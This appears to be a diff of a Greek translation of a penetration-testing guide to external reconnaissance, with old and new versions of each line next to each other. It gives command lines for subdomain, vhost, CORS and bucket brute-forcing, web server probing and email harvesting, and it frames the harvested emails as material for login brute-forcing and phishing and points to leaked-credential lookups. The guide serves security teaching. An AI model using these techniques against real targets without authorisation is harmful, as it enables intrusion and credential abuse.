* [**shuffledns**](https://github.com/projectdiscovery/shuffledns) είναι ένα περιτύλιγμα γύρω από το `massdns`, γραμμένο σε go, που σας επιτρέπει να καταλογογραφήσετε έγκυρους υποτομείς χρησιμοποιώντας ενεργή βία, καθώς και να επιλύσετε υποτομείς με χειρισμό μπαλαντέρ και εύκολη υποστήριξη εισόδου-εξόδου.
* [**shuffledns**](https://github.com/projectdiscovery/shuffledns) είναι ένα wrapper γύρω από το `massdns`, γραμμένο σε go, που σας επιτρέπει να καταγράφετε έγκυρους υποτομείς χρησιμοποιώντας ενεργό bruteforce, καθώς και να επιλύετε υποτομείς με διαχείριση wildcard και εύκολη υποστήριξη εισόδου-εξόδου.
```
shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt
```
@ -376,71 +378,71 @@ shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt
```
puredns bruteforce all.txt domain.com
```
* [**aiodnsbrute**](https://github.com/blark/aiodnsbrute) χρησιμοποιεί το asyncio για να εκτελέσει βίαια επίθεση στα ονόματα των domain ασύγχρονα.
* [**aiodnsbrute**](https://github.com/blark/aiodnsbrute) χρησιμοποιεί το asyncio για να κάνει brute force σε ονόματα τομέα ασύγχρονα.
```
aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com
```
### Δεύτερος Γύρος Βίας DNS Brute-Force
### Δεύτερος Γύρος Brute-Force DNS
Αφού βρείτε υποτομές χρησιμοποιώντας ανοιχτές πηγές και brute-forcing, μπορείτε να δημιουργήσετε τροποποιήσεις των υποτομών που βρέθηκαν για να προσπαθήσετε να βρείτε ακόμη περισσότερες. Πολλά εργαλεία είναι χρήσιμα για αυτόν τον σκοπό:
Αφού βρείτε υποτομείς χρησιμοποιώντας ανοιχτές πηγές και brute-forcing, μπορείτε να δημιουργήσετε παραλλαγές των υποτομέων που βρήκατε για να προσπαθήσετε να βρείτε ακόμη περισσότερους. Πολλά εργαλεία είναι χρήσιμα για αυτόν τον σκοπό:
* [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**:** Δεδομένων των τομέων και των υποτομών δημιουργεί παραλλαγές.
* [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**:** Δίνοντας τους τομείς και τους υποτομείς, δημιουργεί παραλλαγές.
```bash
cat subdomains.txt | dnsgen -
```
* [**goaltdns**](https://github.com/subfinder/goaltdns): Δεδομένων των domains και subdomains δημιουργεί αναστροφές.
* Μπορείτε να λάβετε τις αναστροφές του goaltdns **wordlist** [**εδώ**](https://github.com/subfinder/goaltdns/blob/master/words.txt).
* [**goaltdns**](https://github.com/subfinder/goaltdns): Δεδομένων των τομέων και υποτομέων, δημιουργεί παραλλαγές.
* Μπορείτε να αποκτήσετε τις παραλλαγές goaltdns **wordlist** [**εδώ**](https://github.com/subfinder/goaltdns/blob/master/words.txt).
```bash
goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt
```
* [**gotator**](https://github.com/Josue87/gotator)**:** Δεδομένων των domains και subdomains παράγει περιστροφές. Αν δεν υποδεικνύεται αρχείο περιστροφών, το gotator θα χρησιμοποιήσει το δικό του.
* [**gotator**](https://github.com/Josue87/gotator)**:** Δίνοντας τα domains και subdomains, δημιουργεί παραλλαγές. Αν δεν υποδειχθεί αρχείο παραλλαγών, το gotator θα χρησιμοποιήσει το δικό του.
```
gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt]
```
* [**altdns**](https://github.com/infosec-au/altdns): Εκτός από τη δημιουργία μεταθέσεων υποτομέων, μπορεί επίσης να προσπαθήσει να τις επιλύσει (αλλά είναι καλύτερο να χρησιμοποιήσετε τα προηγούμενα σχολιασμένα εργαλεία).
* Μπορείτε να λάβετε τον κατάλογο με τις μεταθέσεις του altdns **wordlist** [**εδώ**](https://github.com/infosec-au/altdns/blob/master/words.txt).
* [**altdns**](https://github.com/infosec-au/altdns): Εκτός από την παραγωγή παραλλαγών υποτομέων, μπορεί επίσης να προσπαθήσει να τις επιλύσει (αλλά είναι καλύτερο να χρησιμοποιήσετε τα προηγούμενα εργαλεία που αναφέρθηκαν).
* Μπορείτε να αποκτήσετε τις παραλλαγές altdns **wordlist** [**εδώ**](https://github.com/infosec-au/altdns/blob/master/words.txt).
```
altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
```
* [**dmut**](https://github.com/bp0lr/dmut): Ένα άλλο εργαλείο για να πραγματοποιεί περιστροφές, μεταλλάξεις και τροποποιήσεις υποτομέων. Αυτό το εργαλείο θα εκτελέσει βίαιη επίθεση στο αποτέλεσμα (δεν υποστηρίζει wild card dns).
* Μπορείτε να λάβετε τη λίστα λέξεων περιστροφών του dmut [**εδώ**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt).
* [**dmut**](https://github.com/bp0lr/dmut): Ένα ακόμα εργαλείο για την εκτέλεση παραλλαγών, μεταλλάξεων και τροποποιήσεων υποτομέων. Αυτό το εργαλείο θα εκτελέσει brute force στο αποτέλεσμα (δεν υποστηρίζει dns wild card).
* Μπορείτε να αποκτήσετε τη λίστα λέξεων παραλλαγών dmut [**εδώ**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt).
```bash
cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \
--dns-errorLimit 10 --use-pb --verbose -s /tmp/resolvers-trusted.txt
```
* [**alterx**](https://github.com/projectdiscovery/alterx)**:** Βασισμένο σε ένα domain, **δημιουργεί νέα πιθανά ονόματα subdomains** βασισμένα σε καθορισμένα πρότυπα για να δοκιμάσει να ανακαλύψει περισσότερα subdomains.
* [**alterx**](https://github.com/projectdiscovery/alterx)**:** Βασισμένο σε ένα τομέα, **δημιουργεί νέα πιθανά ονόματα υποτομέων** με βάση τις υποδεικνυόμενες προτύπες για να προσπαθήσει να ανακαλύψει περισσότερους υποτομείς.
#### Έξυπνη δημιουργία περιπτώσεων
#### Έξυπνη γενιά παραλλαγών
* [**regulator**](https://github.com/cramppet/regulator): Για περισσότερες πληροφορίες διαβάστε αυτήν την [**ανάρτηση**](https://cramppet.github.io/regulator/index.html) αλλά βασικά θα πάρει τα **κύρια μέρη** από τα **ανακαλυφθέντα subdomains** και θα τα ανακατέψει για να βρει περισσότερα subdomains.
* [**regulator**](https://github.com/cramppet/regulator): Για περισσότερες πληροφορίες διαβάστε αυτήν την [**ανάρτηση**](https://cramppet.github.io/regulator/index.html) αλλά βασικά θα πάρει τα **κύρια μέρη** από τους **ανακαλυφθέντες υποτομείς** και θα τα αναμίξει για να βρει περισσότερους υποτομείς.
```bash
python3 main.py adobe.com adobe adobe.rules
make_brute_list.sh adobe.rules adobe.brute
puredns resolve adobe.brute --write adobe.valid
```
* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ είναι ένα εργαλείο ανίχνευσης υποτομέων που συνδυάζεται με έναν απλό αλλά αποτελεσματικό αλγόριθμο καθοδήγησης απόκρισης DNS. Χρησιμοποιεί ένα σύνολο παρεχόμενων δεδομένων εισόδου, όπως μια προσαρμοσμένη λίστα λέξεων ή ιστορικά αρχεία DNS/TLS, για να συνθέσει με ακρίβεια περισσότερα αντίστοιχα ονόματα τομέων και να τα επεκτείνει ακόμα περισσότερο σε έναν βρόχο βασισμένο στις πληροφορίες που συλλέγονται κατά τη διάρκεια της σάρωσης DNS.
* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ είναι ένα εργαλείο brute-force για υποτομείς που συνδυάζεται με έναν εξαιρετικά απλό αλλά αποτελεσματικό αλγόριθμο καθοδηγούμενο από την απάντηση DNS. Χρησιμοποιεί ένα παρεχόμενο σύνολο δεδομένων εισόδου, όπως μια προσαρμοσμένη λίστα λέξεων ή ιστορικά αρχεία DNS/TLS, για να συνθέσει με ακρίβεια περισσότερα αντίστοιχα ονόματα τομέων και να τα επεκτείνει ακόμη περισσότερο σε έναν βρόχο με βάση τις πληροφορίες που συλλέγονται κατά τη διάρκεια της σάρωσης DNS.
```
echo www | subzuf facebook.com
```
### **Ροή Ανακάλυψης Υποτομέων**
### **Ροή Εργασίας Ανακάλυψης Υποτομέων**
Ελέγξτε αυτή την ανάρτηση στο blog που έγραψα σχετικά με το πώς να **αυτοματοποιήσετε την ανακάλυψη υποτομέων** από ένα τομέα χρησιμοποιώντας **τις διαδικασίες του Trickest** ώστε να μην χρειάζεται να εκκινήσετε χειροκίνητα πολλά εργαλεία στον υπολογιστή σας:
Δείτε αυτή την ανάρτηση στο blog που έγραψα σχετικά με το πώς να **αυτοματοποιήσετε την ανακάλυψη υποτομέων** από έναν τομέα χρησιμοποιώντας **Trickest workflows** ώστε να μην χρειάζεται να εκκινώ χειροκίνητα μια σειρά εργαλείων στον υπολογιστή μου:
{% embed url="https://trickest.com/blog/full-subdomain-discovery-using-workflow/" %}
{% embed url="https://trickest.com/blog/full-subdomain-brute-force-discovery-using-workflow/" %}
### **VHosts / Εικονικοί Φιλοξενητές**
### **VHosts / Εικονικοί Φιλοξενούμενοι**
Αν βρήκατε μια διεύθυνση IP που περιέχει **μία ή περισσότερες ιστοσελίδες** που ανήκουν σε υποτομείς, μπορείτε να προσπαθήσετε να **βρείτε άλλους υποτομείς με ιστοσελίδες σε αυτήν την IP** ψάχνοντας σε **πηγές OSINT** για τομείς σε μια IP ή με τον **εκφορτωτή VHost ονομάτων τομέα σε αυτήν την IP**.
Αν βρείτε μια διεύθυνση IP που περιέχει **μία ή περισσότερες ιστοσελίδες** που ανήκουν σε υποτομείς, μπορείτε να προσπαθήσετε να **βρείτε άλλους υποτομείς με ιστοσελίδες σε αυτήν την IP** κοιτάζοντας σε **πηγές OSINT** για τομείς σε μια IP ή με **brute-forcing ονόματα τομέων VHost σε αυτήν την IP**.
#### OSINT
Μπορείτε να βρείτε μερικούς **VHosts σε IPs χρησιμοποιώντας** το [**HostHunter**](https://github.com/SpiderLabs/HostHunter) **ή άλλα APIs**.
Μπορείτε να βρείτε μερικούς **VHosts σε IPs χρησιμοποιώντας** [**HostHunter**](https://github.com/SpiderLabs/HostHunter) **ή άλλες APIs**.
**Εκφορτώστε με Βία**
**Brute Force**
Αν υποψιάζεστε ότι κάποιος υποτομέας μπορεί να είναι κρυμμένος σε έναν web εξυπηρετητή, μπορείτε να προσπαθήσετε να τον εκφορτώσετε με βία:
Αν υποψιάζεστε ότι κάποιος υποτομέας μπορεί να είναι κρυμμένος σε έναν διακομιστή ιστού, μπορείτε να προσπαθήσετε να τον brute force:
```bash
ffuf -c -w /path/to/wordlist -u http://victim.com -H "Host: FUZZ.victim.com"
@ -455,193 +457,215 @@ vhostbrute.py --url="example.com" --remoteip="10.1.1.15" --base="www.example.com
VHostScan -t example.com
```
{% hint style="info" %}
Με αυτήν την τεχνική ενδέχεται ακόμα και να έχετε πρόσβαση σε εσωτερικά/κρυφά σημεία πρόσβασης.
Με αυτή την τεχνική μπορεί να είστε σε θέση να αποκτήσετε πρόσβαση σε εσωτερικά/κρυφά endpoints.
{% endhint %}
### **Βία CORS**
### **CORS Brute Force**
Μερικές φορές θα βρείτε σελίδες που επιστρέφουν μόνο το κεφαλίδα _**Access-Control-Allow-Origin**_ όταν ένα έγκυρο domain/subdomain έχει οριστεί στο κεφαλίδα _**Origin**_. Σε αυτά τα σενάρια, μπορείτε να εκμεταλλευτείτε αυτήν τη συμπεριφορά για να **ανακαλύψετε** νέα **υποτομές**.
Μερικές φορές θα βρείτε σελίδες που επιστρέφουν μόνο την κεφαλίδα _**Access-Control-Allow-Origin**_ όταν έχει οριστεί ένα έγκυρο domain/subdomain στην κεφαλίδα _**Origin**_. Σε αυτά τα σενάρια, μπορείτε να εκμεταλλευτείτε αυτή τη συμπεριφορά για να **ανακαλύψετε** νέα **subdomains**.
```bash
ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" -ignore-body
```
### **Βίαιη Δύναμη Κάδων**
### **Buckets Brute Force**
Καθώς αναζητάτε **υποτομές**, πρέπει να παρατηρείτε αν αυτές δείχνουν σε κάποιον τύπο **κάδου**, και σε αυτήν την περίπτωση [**ελέγξτε τα δικαιώματα**](../../network-services-pentesting/pentesting-web/buckets/)**.**\
Επίσης, αφού θα έχετε γνώση όλων των τομέων εντός του πεδίου εφαρμογής, δοκιμάστε να [**επιτεθείτε βίαια σε πιθανά ονόματα κάδων και ελέγξτε τα δικαιώματα**](../../network-services-pentesting/pentesting-web/buckets/).
Ενώ ψάχνετε για **subdomains**, προσέξτε αν **δείχνει** σε οποιοδήποτε τύπο **bucket**, και σε αυτή την περίπτωση [**ελέγξτε τα δικαιώματα**](../../network-services-pentesting/pentesting-web/buckets/)**.**\
Επίσης, καθώς σε αυτό το σημείο θα γνωρίζετε όλα τα domains μέσα στο πεδίο, προσπαθήστε να [**brute force πιθανές ονομασίες buckets και ελέγξτε τα δικαιώματα**](../../network-services-pentesting/pentesting-web/buckets/).
### **Παρακολούθηση**
### **Monitorization**
Μπορείτε να **παρακολουθείτε** αν **νέες υποτομές** ενός τομέα δημιουργούνται παρακολουθώντας τα **Αρχεία Διαφάνειας Πιστοποίησης** [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py)κάνει.
Μπορείτε να **παρακολουθείτε** αν **δημιουργούνται νέα subdomains** ενός domain παρακολουθώντας τα **Certificate Transparency** Logs [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py).
### **Αναζήτηση ευπαθειών**
### **Looking for vulnerabilities**
Ελέγξτε για πιθανές [**καταλήψεις υποτομέων**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\
Αν η **υποτομή** δείχνει σε κάποιον **κάδο S3**, [**ελέγξτε τα δικαιώματα**](../../network-services-pentesting/pentesting-web/buckets/).
Ελέγξτε για πιθανές [**subdomain takeovers**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\
Αν το **subdomain** δείχνει σε κάποιο **S3 bucket**, [**ελέγξτε τα δικαιώματα**](../../network-services-pentesting/pentesting-web/buckets/).
Αν βρείτε κάποια **υποτομή με διαφορετική IP** από αυτές που έχετε ήδη βρει στην ανακάλυψη περιουσιακών στοιχείων, πρέπει να εκτελέσετε μια **βασική ανίχνευση ευπαθειών** (χρησιμοποιώντας το Nessus ή το OpenVAS) και κάποια [**σάρωση θυρών**](../pentesting-network/#discovering-hosts-from-the-outside) με **nmap/masscan/shodan**. Ανάλογα με τις υπηρεσίες που εκτελούνται, μπορείτε να βρείτε σε **αυτό το βιβλίο μερικά κόλπα για "επίθεση" σε αυτές**.\
_Σημειώστε ότι μερικές φορές η υποτομή φιλοξενείται μέσα σε μια IP που δεν ελέγχεται από τον πελάτη, οπότε δεν είναι στο πεδίο εφαρμογής, προσέξτε._
Αν βρείτε οποιοδήποτε **subdomain με IP διαφορετική** από αυτές που έχετε ήδη βρει στην ανακάλυψη assets, θα πρέπει να εκτελέσετε μια **βασική σάρωση ευπαθειών** (χρησιμοποιώντας Nessus ή OpenVAS) και κάποια [**σάρωση θυρών**](../pentesting-network/#discovering-hosts-from-the-outside) με **nmap/masscan/shodan**. Ανάλογα με τις υπηρεσίες που τρέχουν, μπορείτε να βρείτε σε **αυτό το βιβλίο μερικά κόλπα για να "επιτεθείτε" σε αυτές**.\
_Σημειώστε ότι μερικές φορές το subdomain φιλοξενείται σε μια IP που δεν ελέγχεται από τον πελάτη, οπότε δεν είναι στο πεδίο, να είστε προσεκτικοί._
## IPs
Στα αρχικά στάδια μπορεί να έχετε **βρει μερικούς εύροι IP, τομείς και υποτομές**.\
Ήρθε η ώρα να **συγκεντρώσετε όλες τις IPs από αυτούς τους εύρους** και για τους **τομείς/υποτομές (ερωτήσεις DNS).**
Στα αρχικά βήματα μπορεί να έχετε **βρει κάποιες περιοχές IP, domains και subdomains**.\
Ήρθε η ώρα να **συλλέξετε όλες τις IPs από αυτές τις περιοχές** και για τα **domains/subdomains (DNS queries).**
Χρησιμοποιώντας υπηρεσίες από τα ακόλουθα **δωρεάν APIs** μπορείτε επίσης να βρείτε **προηγούμενες IPs που χρησιμοποιήθηκαν από τομείς και υποτομές**. Αυτές οι IPs ενδέχεται ακόμα να ανήκουν στον πελάτη (και ενδέχεται να σας επιτρέψουν να βρείτε [**παρακάμψεις CloudFlare**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md))
Χρησιμοποιώντας υπηρεσίες από τις παρακάτω **δωρεάν APIs** μπορείτε επίσης να βρείτε **προηγούμενες IPs που χρησιμοποιήθηκαν από domains και subdomains**. Αυτές οι IPs μπορεί να ανήκουν ακόμα στον πελάτη (και μπορεί να σας επιτρέψουν να βρείτε [**CloudFlare bypasses**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md))
* [**https://securitytrails.com/**](https://securitytrails.com/)
Μπορείτε επίσης να ελέγξετε τους τομείς που δείχνουν σε μια συγκεκριμένη διεύθυνση IP χρησιμοποιώντας το εργαλείο [**hakip2host**](https://github.com/hakluke/hakip2host)
Μπορείτε επίσης να ελέγξετε για domains που δείχνουν σε μια συγκεκριμένη διεύθυνση IP χρησιμοποιώντας το εργαλείο [**hakip2host**](https://github.com/hakluke/hakip2host)
### **Αναζήτηση ευπαθειών**
### **Looking for vulnerabilities**
**Σαρώστε όλες τις IPs που δεν ανήκουν σε CDN** (καθώς πιθανότατα δεν θα βρείτε κάτι ενδιαφέρον εκεί). Στις υπηρεσίες που ανακαλύφθηκαν ενδέχεται να **βρείτε ευπαθείες**.
**Σαρώστε όλες τις IPs που δεν ανήκουν σε CDNs** (καθώς είναι πολύ πιθανό να μην βρείτε τίποτα ενδιαφέρον εκεί). Στις υπηρεσίες που ανακαλύφθηκαν μπορεί να είστε **σε θέση να βρείτε ευπάθειες**.
**Βρείτε ένα** [**οδηγό**](../pentesting-network/) **σχετικά με το πώς να σαρώσετε τους οικοδεσπότες.**
**Βρείτε έναν** [**οδηγό**](../pentesting-network/) **για το πώς να σαρώσετε hosts.**
## Κυνήγι διακομιστών ιστού
## Web servers hunting
> Έχουμε βρει όλες τις εταιρείες και τα περιουσιακά τους στοιχεία και γνωρίζουμε τους εύρους IP, τομείς και υποτομές εντός του πεδίου εφαρμογής. Ήρθε η ώρα να αναζητήσουμε διακομιστές ιστού.
> Έχουμε βρει όλες τις εταιρείες και τα assets τους και γνωρίζουμε περιοχές IP, domains και subdomains μέσα στο πεδίο. Ήρθε η ώρα να αναζητήσουμε web servers.
Στα προηγούμενα βήματα πιθανόν να έχετε ήδη εκτελέσει κάποια **αναγνώριση των IPs και των τομέων που ανακαλύφθηκαν**, οπότε μπορεί να έχετε **ήδη βρει όλους τους πιθανούς διακομιστές ιστού**. Ωστόσο, αν δεν το έχετε κάνει, τώρα θα δούμε μερικά **γρήγορα κόλπα για την αναζήτηση διακομιστών ιστού** εντός του πεδίου εφαρμογής.
Στα προηγούμενα βήματα έχετε πιθανώς ήδη εκτελέσει κάποια **recon των IPs και domains που ανακαλύφθηκαν**, οπότε μπορεί να έχετε **ήδη βρει όλους τους πιθανούς web servers**. Ωστόσο, αν δεν το έχετε κάνει, τώρα θα δούμε μερικά **γρήγορα κόλπα για να αναζητήσουμε web servers** μέσα στο πεδίο.
Παρακαλώ, σημειώστε ότι αυτό θα είναι **προσανατολισμένο προς την ανακάλυψη εφαρμογών ιστού**, οπότε θα πρέπει να **εκτελέσετε την ευπάθεια** και τη **σάρωση θυρών** επίσης (**εάν επιτρέπεται** από το πεδίο εφαρμογής).
Παρακαλώ σημειώστε ότι αυτό θα είναι **προσανατολισμένο στην ανακάλυψη web apps**, οπότε θα πρέπει να **εκτελέσετε τη σάρωση ευπαθειών** και **σάρωση θυρών** επίσης (**αν επιτρέπεται** από το πεδίο).
Ένας **γρήγορος τρόπος** για την ανακάλυψη **ανοιχτών θυρών** που σχετίζονται με **διακομιστές web** χρησιμοποιώντας το [**masscan μπορεί να βρεθεί εδώ**](../pentesting-network/#http-port-discovery).\
Ένα άλλο φιλικό εργαλείο για την αναζήτηση διακομιστών ιστού είναι το [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) και [**httpx**](https://github.com/projectdiscovery/httpx). Απλά περνάτε μια λίστα τομέων και θα προσπαθήσει να συνδεθεί στη θύρα 80 (http) και 443 (https). Επιπλέον, μπορείτε να υποδείξετε να δοκιμάσει και άλλες θύρες:
Μια **γρήγορη μέθοδος** για να ανακαλύψετε **ανοιχτές θύρες** σχετικές με **web** servers χρησιμοποιώντας [**masscan** μπορεί να βρεθεί εδώ](../pentesting-network/#http-port-discovery).\
Ένα άλλο φιλικό εργαλείο για να αναζητήσετε web servers είναι [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) και [**httpx**](https://github.com/projectdiscovery/httpx). Απλά περνάτε μια λίστα domains και θα προσπαθήσει να συνδεθεί σε θύρα 80 (http) και 443 (https). Επιπλέον, μπορείτε να υποδείξετε να δοκιμάσει άλλες θύρες:
```bash
cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443
cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443
```
### **Στιγμιότυπα Οθονών**
### **Στιγμιότυπα**
Τώρα που έχετε ανακαλύψει **όλους τους διακομιστές ιστού** που υπάρχουν στο εύρος (μεταξύ των **IPs** της εταιρείας και όλων των **domains** και **subdomains**) πιθανόν **να μην ξέρετε από πού να ξεκινήσετε**. Έτσι, ας το κάνουμε απλό και ας ξεκινήσουμε απλά παίρνοντας στιγμιότυπα από όλους αυτούς. Απλά με το **να ρίξετε μια ματιά** στη **κύρια σελίδα** μπορείτε να βρείτε **περίεργα** σημεία που είναι πιο **ευάλωτα**.
Τώρα που έχετε ανακαλύψει **όλους τους διακομιστές ιστού** που υπάρχουν στο πεδίο (μεταξύ των **IP** της εταιρείας και όλων των **τομέων** και **υποτομέων**) πιθανόν **να μην ξέρετε από πού να ξεκινήσετε**. Έτσι, ας το κάνουμε απλό και ας ξεκινήσουμε απλά παίρνοντας στιγμιότυπα όλων τους. Απλά κοιτάζοντας τη **κύρια σελίδα** μπορείτε να βρείτε **περίεργα** endpoints που είναι πιο **επιρρεπή** να είναι **ευάλωτα**.
Για να εκτελέσετε την προτεινόμενη ιδέα μπορείτε να χρησιμοποιήσετε το [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/), [**Gowitness**](https://github.com/sensepost/gowitness) ή [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**.**
Για να εκτελέσετε την προτεινόμενη ιδέα μπορείτε να χρησιμοποιήσετε [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/), [**Gowitness**](https://github.com/sensepost/gowitness) ή [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**.**
Επιπλέον, μπορείτε να χρησιμοποιήσετε το [**eyeballer**](https://github.com/BishopFox/eyeballer) για να εκτελέσετε πάνω σε όλα τα **στιγμιότυπα** και να σας πει **τι πιθανόν περιέχει ευπάθειες**, και τι όχι.
Επιπλέον, μπορείτε να χρησιμοποιήσετε [**eyeballer**](https://github.com/BishopFox/eyeballer) για να ελέγξετε όλα τα **στιγμιότυπα** και να σας πει **τι είναι πιθανό να περιέχει ευπάθειες**, και τι όχι.
## Δημόσια Περιουσιακά Στοιχεία στο Cloud
## Δημόσια Περιουσιακά Στοιχεία Cloud
Για να βρείτε πιθανά περιουσιακά στοιχεία στο cloud που ανήκουν σε μια εταιρεία θα πρέπει **να ξεκινήσετε με μια λίστα λέξεων που ταυτίζουν αυτή την εταιρεία**. Για παράδειγμα, για μια εταιρεία κρυπτονομισμάτων μπορείτε να χρησιμοποιήσετε λέξεις όπως: `"crypto", "wallet", "dao", "<domain_name>", <"subdomain_names">`.
Για να βρείτε πιθανά περιουσιακά στοιχεία cloud που ανήκουν σε μια εταιρεία θα πρέπει να **ξεκινήσετε με μια λίστα λέξεων-κλειδιών που προσδιορίζουν αυτή την εταιρεία**. Για παράδειγμα, για μια κρυπτονομισματική εταιρεία μπορείτε να χρησιμοποιήσετε λέξεις όπως: `"crypto", "wallet", "dao", "<domain_name>", <"subdomain_names">`.
Θα χρειαστείτε επίσης λίστες λέξεων που χρησιμοποιούνται συχνά σε buckets:
Θα χρειαστείτε επίσης λίστες λέξεων με **κοινές λέξεις που χρησιμοποιούνται σε buckets**:
* [https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt](https://raw.githubusercontent.com/cujanovic/goaltdns/master/words.txt)
* [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt)
* [https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt](https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt)
Στη συνέχεια, με αυτές τις λέξεις θα πρέπει να δημιουργήσετε **παραλλαγές** (ελέγξτε το [**Second Round DNS Brute-Force**](./#second-dns-bruteforce-round) για περισσότερες πληροφορίες).
Στη συνέχεια, με αυτές τις λέξεις θα πρέπει να δημιουργήσετε **παραλλαγές** (δείτε το [**Δεύτερος Γύρος DNS Brute-Force**](./#second-dns-bruteforce-round) για περισσότερες πληροφορίες).
Με τις προκύπτουσες λίστες λέξεων μπορείτε να χρησιμοποιήσετε εργαλεία όπως το [**cloud\_enum**](https://github.com/initstring/cloud\_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **ή** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**.**
Με τις προκύπτουσες λίστες λέξεων μπορείτε να χρησιμοποιήσετε εργαλεία όπως [**cloud\_enum**](https://github.com/initstring/cloud\_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **ή** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**.**
Θυμηθείτε ότι κατά την αναζήτηση Δημόσιων Περιουσιακών Στοιχείων θα πρέπει να **ψάξετε για περισσότερα από απλά buckets στο AWS**.
Θυμηθείτε ότι όταν ψάχνετε για περιουσιακά στοιχεία Cloud θα πρέπει να **ψάχνετε για περισσότερα από απλά buckets σε AWS**.
### **Αναζήτηση ευπαθειών**
### **Αναζητώντας ευπάθειες**
Αν βρείτε πράγματα όπως **ανοιχτά buckets ή εκθέτες λειτουργίες cloud** θα πρέπει **να τα επισκεφθείτε** και να δοκιμάσετε να δείτε τι σας προσφέρουν και αν μπορείτε να τα καταχραστείτε.
Αν βρείτε πράγματα όπως **ανοιχτά buckets ή εκτεθειμένες cloud functions** θα πρέπει να **τα αποκτήσετε πρόσβαση** και να δείτε τι σας προσφέρουν και αν μπορείτε να τα εκμεταλλευτείτε.
## Emails
Με τα **domains** και τα **subdomains** εντός του εύρους έχετε βασικά ό,τι χρειάζεστε για να αρχίσετε την αναζήτηση emails. Αυτά είναι τα **APIs** και τα **εργαλεία** που έχουν λειτουργήσει καλύτερα για μένα για την εύρεση emails μιας εταιρείας:
Με τους **τομείς** και **υποτομείς** μέσα στο πεδίο έχετε βασικά όλα όσα **χρειάζεστε για να ξεκινήσετε την αναζήτηση για emails**. Αυτές είναι οι **APIs** και **εργαλεία** που έχουν λειτουργήσει καλύτερα για μένα για να βρω emails μιας εταιρείας:
* [**theHarvester**](https://github.com/laramies/theHarvester) - με APIs
* API του [**https://hunter.io/**](https://hunter.io/) (δωρεάν έκδοση)
* API του [**https://app.snov.io/**](https://app.snov.io/) (δωρεάν έκδοση)
* API του [**https://minelead.io/**](https://minelead.io/) (δωρεάν έκδοση)
### **Αναζήτηση ευπαθειών**
### **Αναζητώντας ευπάθειες**
Τα emails θα είναι χρήσιμα αργότερα για **brute-force στις συνδέσεις ιστού και υπηρεσίες auth** (όπως το SSH). Επίσης, απαιτούνται για **phishings**. Επιπλέον, αυτά τα APIs θα σας δώσουν ακόμη περισσότερες **πληροφορίες για το άτομο** πίσω από το email, το οποίο είναι χρήσιμο για την καμπάνια phishing.
Τα emails θα σας φανούν χρήσιμα αργότερα για **brute-force web logins και auth services** (όπως το SSH). Επίσης, είναι απαραίτητα για **phishings**. Επιπλέον, αυτές οι APIs θα σας δώσουν ακόμα περισσότερες **πληροφορίες για το άτομο** πίσω από το email, που είναι χρήσιμες για την εκστρατεία phishing.
## Διαρροές Διαπιστεύσεων
## Διαρροές Διαπιστευτηρίων
Με τα **domains,** **subdomains** και **emails** μπορείτε να αρχίσετε την αναζήτηση διαρροών διαπιστεύσεων που έχουν διαρρεύσει στο παρελθόν και ανήκουν σε αυτά τα emails:
Με τους **τομείς,** **υποτομείς**, και **emails** μπορείτε να αρχίσετε να ψάχνετε για διαπιστευτήρια που έχουν διαρρεύσει στο παρελθόν που ανήκουν σε αυτά τα emails:
* [https://leak-lookup.com](https://leak-lookup.com/account/login)
* [https://www.dehashed.com/](https://www.dehashed.com/)
### **Αναζήτηση ευπαθειών**
### **Αναζητώντας ευπάθειες**
Αν βρείτε **έγκυρες διαρροές** διαπιστεύσεων, αυτό είναι ένα πολύ εύκολο κέρδος.
Αν βρείτε **έγκυρα διαρρεύσαντα** διαπιστευτήρια, αυτό είναι μια πολύ εύκολη νίκη.
## Διαρροές Μυστικών
